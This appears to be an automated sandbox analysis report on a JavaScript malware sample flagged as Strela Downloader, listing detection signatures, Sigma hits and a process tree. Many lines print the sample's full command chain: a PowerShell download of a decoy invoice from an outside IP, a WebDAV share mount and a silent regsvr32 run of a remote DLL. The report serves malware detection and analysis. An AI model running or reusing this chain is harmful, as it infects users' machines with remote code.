Edit tour

Windows Analysis Report
23614810137024152.js

Overview

General Information

Sample name:	23614810137024152.js
Analysis ID:	1588188
MD5:	f7d632ebc7493fd3fb7325471702f465
SHA1:	f2f3f1b8539ba3f0cefcbe81cc751ccaf113b659
SHA256:	210c6e122d08278714e96d6af4ba7426438115e3cea12e9a4b5c9b2bd238ff32
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3240 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3752 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2728 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3552 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1524,i,14748044977518557816,13102918182558653735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5944 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2492 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3240	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2728, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2728, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ProcessId: 3240, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ProcessId: 3240, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2728, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2492, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4316, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2492, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3240, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll, ProcessId: 3752, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23614810137024152.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23614810137024152.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1447705680.000001B50EA2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1505535834.000001D4D86CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1505535834.000001D4D8678000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: svchost.exe, 00000009.00000002.2731660760.000002D77EE95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1514328041.000002D77F000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3240, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23614810137024152.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@28/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5508:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzjqt2oi.pk0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll
